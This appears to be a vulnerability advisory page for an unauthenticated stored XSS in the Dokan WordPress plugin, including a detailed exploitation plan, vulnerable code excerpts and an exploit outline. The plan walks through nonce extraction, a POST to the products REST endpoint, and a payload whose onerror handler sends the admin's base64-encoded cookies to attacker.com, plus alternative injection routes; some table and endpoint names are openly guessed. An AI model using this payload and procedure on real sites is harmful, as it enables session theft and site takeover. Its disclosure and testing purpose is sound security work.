Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 5.0.6 - Unauthenticated Stored Cross-Site Scripting
Description
The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.0.7
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-57706**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the Dokan Lite plugin (<= 5.0.6). The vulnerability stems from the plugin's AI integration features introduced in version 5.0.0. ### 1. Vulnerability Summary The Dokan p…
Show full research plan
This exploitation research plan targets CVE-2026-57706, an unauthenticated stored cross-site scripting (XSS) vulnerability in the Dokan Lite plugin (<= 5.0.6). The vulnerability stems from the plugin's AI integration features introduced in version 5.0.0.
1. Vulnerability Summary
The Dokan plugin registers a high-priority filter on the WordPress REST API dispatch process. This filter, resolve_product_payload_before_validation, intercepts incoming requests to the dokan/v3/products namespace. When a request contains AI-related parameters (intended for generating product content), the plugin processes and logs these prompts to the database. Because this logic executes during the rest_pre_dispatch phase—before the REST API performs its permission checks—unauthenticated users can trigger the logging mechanism. The plugin fails to sanitize the prompt input before storage and fails to escape it when displaying the logs in the Dokan Admin Dashboard.
2. Attack Vector Analysis
- Endpoint:
/wp-json/dokan/v3/products - Method:
POST - Vulnerable Parameter:
intelligence[prompt](sent within the JSON body). - Authentication: Unauthenticated. Although the final REST endpoint requires
dokan_add_productcapabilities, the vulnerable code resides in arest_pre_dispatchfilter that executes before authorization. - Preconditions: The AI feature must be active (usually default in 5.0.x), and the site must have REST API enabled (default).
3. Code Flow
- Entry Point: An HTTP POST request is sent to
wp-json/dokan/v3/products. - Hook Trigger: WordPress triggers the
rest_pre_dispatchfilter. - Vulnerable Filter:
WeDevs\Dokan\REST\ProductControllerV3::resolve_product_payload_before_validationis called (registered inregister_routesviaadd_filter( 'rest_pre_dispatch', ..., 1, 3 )). - Payload Resolution: The filter calls
WeDevs\Dokan\ProductEditor\PayloadResolver::resolve(). - Sink (Storage): If the
intelligenceparameter is present,PayloadResolver(or the underlyingIntelligence\Manager) logs thepromptvalue into the database (likely a table likewp_dokan_ai_logs) without sanitization. - Sink (Execution): An administrator navigates to the Dokan Dashboard (Admin). The
assets/js/vue-admin.jscomponent fetches the logs and renders thepromptfield directly into the DOM without escaping, triggering the XSS.
4. Nonce Acquisition Strategy
While the request is "unauthenticated" relative to Dokan's permissions, the WordPress REST API typically requires a valid wp_rest nonce for POST requests to prevent CSRF.
- Identify Trigger: The AI scripts are loaded in the Vendor Dashboard.
- Setup Page: Create a page with the Dokan Dashboard shortcode to ensure all variables are localized.
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[dokan-dashboard]' - Extract Nonce: Navigate to the newly created page and extract the REST nonce.
- Variable:
window.wpApiSettings.nonce(standard) orwindow.dokan.rest.nonce(plugin specific). - Action:
browser_eval("window.wpApiSettings?.nonce || window.dokan?.rest?.nonce")
- Variable:
5. Exploitation Strategy
Step 1: Obtain Nonce
Use the http_request or browser_navigate tool to visit the homepage or the dashboard page and extract the nonce from the source or via browser_eval.
Step 2: Send Malicious Request
Construct a POST request to the V3 Products endpoint. Note that we do not need a valid product payload; we only need the intelligence object to trigger the early filter.
- URL:
http://localhost:8080/wp-json/dokan/v3/products - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Payload:
{ "name": "Exploit Trigger", "intelligence": { "action": "generate_description", "prompt": "<img src=x onerror='fetch(\"http://attacker.com/log?c=\" + btoa(document.cookie))'>" } }
Step 3: Trigger Execution
The exploit remains dormant until an administrator views the AI Assistant logs.
- Admin Path:
wp-admin/admin.php?page=dokan#/ai-assistant/logs
6. Test Data Setup
- Dokan Settings: Ensure AI features are enabled (if they require explicit activation in the version's settings).
- Page Creation:
wp post create --post_type=page --post_status=publish --post_content='[dokan-dashboard]' - Permalinks: Ensure pretty permalinks are enabled for the REST API.
wp rewrite structure '/%postname%/' --hard wp rewrite flush --hard
7. Expected Results
- The REST API will likely return a
403 Forbidden(because the user is unauthenticated for the actualcreate_itemcallback). - Despite the 403, the
rest_pre_dispatchfilter will have already executed. - The database will contain a new entry in the AI logs table with the raw
<img ...>tag. - When the admin page loads the logs, a browser alert or network request to the attacker's server will occur.
8. Verification Steps
After sending the HTTP request, verify the injection directly in the database:
- Find the Log Table:
wp db query "SHOW TABLES LIKE '%dokan_ai%'" - Check for Payload:
Confirm the output matches the injected string verbatim.# Assuming the table is wp_dokan_ai_logs wp db query "SELECT prompt FROM wp_dokan_ai_logs ORDER BY id DESC LIMIT 1"
9. Alternative Approaches
- Batch Endpoint: If the single product endpoint is blocked, attempt the same payload via the batch endpoint:
/wp-json/dokan/v3/products/batch. - Vendor Registration: If the AI path fails, check the
dokan-literegistration form parameters (shopname,address) which are also often processed by early filters in the V3 architecture. - Direct AI Chat: If
dokan/v1/intelligence/chatexists (inferred), send the payload there as it is specifically designed for unauthenticated user interaction with the assistant.
Summary
The Dokan Lite plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) in versions up to 5.0.6. This occurs because AI-related product metadata is processed and logged during an early REST API dispatch hook before authentication or permission checks are performed, and then rendered without escaping in the admin dashboard.
Vulnerable Code
// includes/REST/ProductControllerV3.php line 196 public function register_routes() { if ( ! self::$filter_registered ) { add_filter( 'rest_pre_dispatch', [ $this, 'resolve_product_payload_before_validation' ], 1, 3 ); self::$filter_registered = true; } --- // includes/REST/ProductControllerV3.php line 133 public function batch_items( $request ) { $body = $request->get_json_params(); if ( empty( $body ) ) { $body = $request->get_body_params(); } foreach ( [ 'update', 'create' ] as $key ) { if ( ! empty( $body[ $key ] ) && is_array( $body[ $key ] ) ) { foreach ( $body[ $key ] as $index => $item ) { $body[ $key ][ $index ] = PayloadResolver::resolve( $item ); } } }
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('jquery', 'moment', 'wp-api-fetch', 'wp-url'), 'version' => 'dda1361546e49be9505e'); +<?php return array('dependencies' => array('jquery', 'moment', 'wp-api-fetch', 'wp-url'), 'version' => 'b0bc72b15604c2799576'); @@ -1,2 +1,2 @@ /*! For license information please see vue-admin.js.LICENSE.txt */ -(()=> ... (truncated)
Exploit Outline
The exploit targets the REST API endpoint '/wp-json/dokan/v3/products'. An attacker first obtains a standard WordPress REST nonce (available via any page that localizes 'wpApiSettings'). The attacker then sends a POST request to the products endpoint with a JSON body containing an 'intelligence' object. Within this object, the 'prompt' field is populated with a malicious script (e.g., '<script>alert(1)</script>'). Due to a 'rest_pre_dispatch' filter registered by the plugin, the AI prompt is processed and stored in the database immediately, before the REST API checks if the user has the 'dokan_add_product' capability. The vulnerability is triggered when an administrator views the 'AI Assistant' logs in the Dokan Admin Dashboard, where the unsanitized prompt is rendered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.